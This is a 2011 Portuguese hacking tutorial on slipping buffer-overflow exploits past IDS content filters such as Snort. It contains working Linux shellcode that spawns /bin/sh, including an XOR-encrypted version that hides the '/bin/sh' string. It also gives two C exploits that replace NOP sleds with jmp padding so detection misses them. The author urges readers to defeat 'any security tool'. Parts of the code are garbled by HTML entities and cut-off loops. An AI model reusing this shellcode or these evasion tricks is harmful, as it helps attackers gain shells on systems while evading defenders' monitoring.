Passando Filtros Contra Overflows
Autor: Paulo Cesar | Publicado: 2011-01-04T18:43:00-08:00

---------------
1 - INTRODUCAO |
---------------

"Por tras da Pantomima, ha sempre um artista solitario, puxando a corda
&nbsp;da cortina!"

Este artigo descreve o basico de alguns esquemas contra ferramentas de
filtragem de conteudo de buffer overflows, ou seja, como passar por elas!
Pre-requisitos para ler este tutorial sao os de sempre, elites fora,
conhecimento basico de C e escrita de exploits e um pouco sobre IDS.

-------------2 - ESQUEMAS |-------------
Existem varias ferramentas 'IDS' que procuram detectar ataques do tipoBuffer Overflows.Irei destacar apenas algumas, mas os conceitos podemser mais abrangentes, de modo que pode-se usar as mesmas tecnicas emoutras ferramentas.

2.1 - Filtragem de Conteudo------------------------------

Algumas Ferramentas procuram filtrar o conteudo de dados que sao recebidospelos daemons.Um ferramenta capaz de fazer isso e que eh muito popular eho 'snort'.Ela funciona como uma especie de sniffer, procurado filtrartodos os dados que estao chegando atraves da interface local.Dentre os dados que ela pode filtrar, estao as strings.Analisaremos doispossiveis casos, abaixo:

+ /bin/sh -&gt; O snort eh capaz de detectar a tentativa de recebimento pelo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; daemon de strings do tipo /bin/sh inseridas em shellcodes.&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; A grande maioria dos shellcodes enviam solicitacoes de&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; comandos a serem executados de modo claro, ou seja, strings&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; do tipo '/bin/bash', '/bin/sh', '/bin/echo', '/etc/passwd',&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; enfim, como essas strings nao podem corresponder a dados&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aceitos pelo daemon, elas sao facilmente detectadas e o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IDS em questao(snort) eh capaz de alertar quanto a uma&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tentativa de invasao via 'buffer overflow' em algum daemon.

&nbsp;Solucao: Uma possivel solucao p/ este problema reside em procurar enviar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; os comandos ou strings responsaveis pela 'exploitacao' via&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shellcode encriptados.Existem varios exemplos de shellcodes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; encriptados e voce pode ler mais sobre isso no 'Tutorial Basico&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; de Escrita de Shellcodes p/ Linux(II Parte)' e tambem no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; artigo 'PASSANDO POR STRINGS', ambos publicados por mim que&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; podem ser obtidos nos links disponibilizados fim deste tutorial.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Um Exemplo de Shellcode encriptado segue abaixo:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xorl&nbsp;&nbsp; &nbsp; &nbsp; %eax,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Reseta EAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Salta para 0x22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; popl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; # retira EBX(string) do stack.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp; &nbsp; 8(%ebx),%edx&nbsp;&nbsp;&nbsp;&nbsp; # copia string encriptada para EDX.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %edx,(%ebx)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # OU logico em EDX e 0(EBX).&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %edx,4(%ebx)&nbsp;&nbsp;&nbsp;&nbsp; # Desencripta o shellcode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %edx,%edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Reseta EDX.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %ebx,0x8(%esp)&nbsp; # copia /bin/sh para 0x8(%esp)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %edx,0xc(%esp)&nbsp; # copia /bin/sh + null word long p/ 0xc(%esp)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movb&nbsp;&nbsp; $0xb,%al&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # copia execve(11) para AL.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; leal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x8(%esp),%ecx&nbsp; # copia o end. de /bin/sh sobre ECX.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $0x80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Sai para modo kernel.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xorl&nbsp;&nbsp; &nbsp;&nbsp; %ebx,%ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Reseta EBX.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %ebx,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # copia EBX para EAX.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; incl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # incrementa EAX(1 = exit).&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $0x80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # sai para modo kernel.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -0x27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # chama -0x27.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .string&nbsp; "\x7a\x37\x3c\x3b\x7a\x26\x3d\x55\x55\x55\x55\x55"

Veremos entao como fica o shellcode num .c:
--------------------------- nlscrypt.c --------------------------------

/* Shellcode encriptado com base no do lamagra.
&nbsp;&nbsp; Desenvolvido por ****** :D.
*/

char shellcode[] =

"\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89"
"\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff"
"\x7a\x37\x3c\x3b\x7a\x26\x3d\x55" /* /bin/sh encriptado */
"\x55\x55\x55\x55"; /* Chave conversora */

main(){
int *retorno;
retorno = (int *)&amp;retorno + 2;
(*retorno) = (int)shellcode;
}

----------------------------------------------------------------------
Este eh apenas um dos inumeros possiveis esquemas de se criptografarum shellcode.No exemplo acima, teriamos o comando '/bin/sh' sendoexecutado, mas a string a ser enviada seria 'z7&lt;;z&amp;=', logo a ferramentade IDS nao seria capaz de detectar uma tentiva de exploitacao combase na string de comando a ser enviada.

+ NOPS(0x90) - Muitos Exploits p/ buffer overflows costumam enviar a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; intrucao NOP(0x90) para facilitar a exploitacao de um&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; programa(daemon).A intrucao NOP eh responsavel por&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uma execucao vazia, ou seja, nao se executa nada.Isto&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eh essencial, caso tenha duvidas, leia meu tutorial de&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer overflows.Algumas ferramentas de IDS, incluindo o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; snort, procuram filtrar a chegada de pacotes contendo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; esta intrucao, e do mesmo modo como no exemplo anterior,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; se enviarmos esta instrucao, correremos um serio risco&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; de sermos detectados no sistema alvo.

&nbsp;Solucao: Entendendo a logica que envolve a instrucao 'NOP' e o seu real&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; significado, podemos facilmente contemplar esquemas substitutos,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; como por exemplo, substituirmos esta instrucao por outra que&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; procura executar o mesmo objetivo da instrucao NOP em nossos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exploits.Abaixo nos podemos contemplar um esquema, onde ao inves&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; de termos NOP(0x90) temos a instrucao 'jmp 0x02', ou seja,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp(0xeb) + 02(0x02):

------------------------------- semnop.c --------------------------------
/* Exemplo de Exploit sem a instrucao NOP(0x90) */

#include 
#include 

#define&nbsp; ALIGN&nbsp;&nbsp;&nbsp;&nbsp; 0
#define&nbsp; OFFSET&nbsp;&nbsp;&nbsp; 0

char shellcode[] =
&nbsp; "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
&nbsp; "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
&nbsp; "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[]) {
int i,tamanho;
int offset = OFFSET;
long retaddr;
char *buffer;

if(argc &lt; 2) {
printf("Uso: %s  \n",argv[0]);
exit(0);
}

if(argc &gt; 2) offset = atoi(argv[2]);

tamanho = atoi(argv[1]);

retaddr = pega_sp() - offset;

buffer = (char *)malloc(tamanho);
if(buffer &lt; 0){
fprintf(stderr,"Nao pode alocar mamoria!!\n");
exit(1);
}

for (i=0;i
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN]=(retaddr&amp;0x000000ff);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN+1]=(retaddr&amp;0x0000ff00)&gt;&gt;8;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN+2]=(retaddr&amp;0x00ff0000)&gt;&gt;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN+3]=(retaddr&amp;0xff000000)&gt;&gt;24;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }


/* Abaixo nos vemos a condicao for() tendo i sendo incremento em
&nbsp;&nbsp; 2 posicoes p/ recebimento da instrucao 'jmp 0x02' */

for (i = 0; i &lt; tamanho - strlen(shellcode)-100;i+=2) {
&nbsp;&nbsp;&nbsp; *(short *) &amp;buffer[i] = 0xeb;
&nbsp;&nbsp;&nbsp; *(short *) &amp;buffer[i+1] = 0x02;
}
memcpy(buffer+i,shellcode,strlen(shellcode));

/* Executamos o programa bugado */

execl("./bug","bug",buffer,NULL);
return 0;
}

--------------------------------------------------------------------

Voce pode testar este exploit em um programa 'bug' vulneravel a bufferoverflow qualquer, a unica limitacao eh que voce terah que chutar ostamanhos dos buffers seguidos, ou seja, ele pode exploitar em '540' enao exploitar em '541'.Esta particularidade consiste justamente nainstrucao ser uma instrucao dupla, se o retorno cair na instrucao 'jmp'esta otimo, mas se cair aonde esta localizado '0x02', ele nao obterahexito.Com base nessas informacoes podemos ir mais alem ainda e implementarmos instrucoes como 'jmp 0x03', 'jmp 0x04' e assim pordiante.Para nao haver duvidas, abaixo segue o mesmo exploit acima,mas com a intrucao 'jmp 0x03' ao invez de 'jmp 0x02'.

--------------------------- semnop2.c ---------------------------------

/* Exemplo 2 de Exploit sem NOP. */

#include 
#include 

#define&nbsp; ALIGN&nbsp;&nbsp;&nbsp;&nbsp; 0
#define&nbsp; OFFSET&nbsp;&nbsp;&nbsp; 0

char shellcode[] =
&nbsp; "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
&nbsp; "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
&nbsp; "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[]) {
int i,tamanho;
int offset = OFFSET;
long retaddr;
char *buffer;

if(argc &lt; 2) {
printf("Uso: %s  \n",argv[0]);
exit(0);
}

if(argc &gt; 2) offset = atoi(argv[2]);

tamanho = atoi(argv[1]);

retaddr = pega_sp() - offset;

buffer = (char *)malloc(tamanho);
if(buffer &lt; 0){
fprintf(stderr,"Nao pode alocar mamoria!!\n");
exit(1);
}

for (i=0;i
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN]=(retaddr&amp;0x000000ff);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN+1]=(retaddr&amp;0x0000ff00)&gt;&gt;8;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN+2]=(retaddr&amp;0x00ff0000)&gt;&gt;16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i+ALIGN+3]=(retaddr&amp;0xff000000)&gt;&gt;24;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }

/* Abaixo nos vemos a condicao for() tendo i sendo incremento em
&nbsp;&nbsp; 3 posicoes p/ recebimento da instrucao 'jmp 0x03' e o valor
&nbsp;&nbsp; 0x41(A) apenas como enchimento */

for (i = 0; i &lt; tamanho - strlen(shellcode)-100;i+=3) {
&nbsp;&nbsp;&nbsp; *(short *) &amp;buffer[i] = 0xeb;
&nbsp;&nbsp;&nbsp; *(short *) &amp;buffer[i+1] = 0x03;
&nbsp;&nbsp;&nbsp; *(short *) &amp;buffer[i+2] = 0x41;
}

/* Se quisessemos por 'jmp 0x04' poderiamos colocar o seguinte:

for (i = 0; i &lt; tamanho - strlen(shellcode)-100;i+=4) {
*(short *) &amp;buffer[i] = 0xeb;&nbsp;&nbsp; // jmp 
*(short *) &amp;buffer[i+1] = 0x04; // 0x04 
*(short *) &amp;buffer[i+2] = 0x4e; // N de Nash 
*(short *) &amp;buffer[i+3] = 0x4c; // L de Leon 
}
*/

memcpy(buffer+i,shellcode,strlen(shellcode));

/* Executamos o programa bugado */

execl("./bug","bug",buffer,NULL);
return 0;
}

------------------------------------------------------------------------

Podemos contemplar esquemas basicos contra ferramentas de IDS especificas,
podemos ir mais alem e conseguirmos esquematizar e descobrir mais
possiveis esquemas contra varias ferramentas IDS.Cabe a voce, amigo NewBie,
procurar ir mais longe e contemplar maiores esquemas contra toda e qualquer
ferramenta de seguranca.
---------------3 - TERMINANDO |---------------

Esquemas contra ferramentas de IDS existem para serem usadas!
Mas deve sempre haver cautela quando implementamos tais esquemas!
By SeQ Anj0...2011!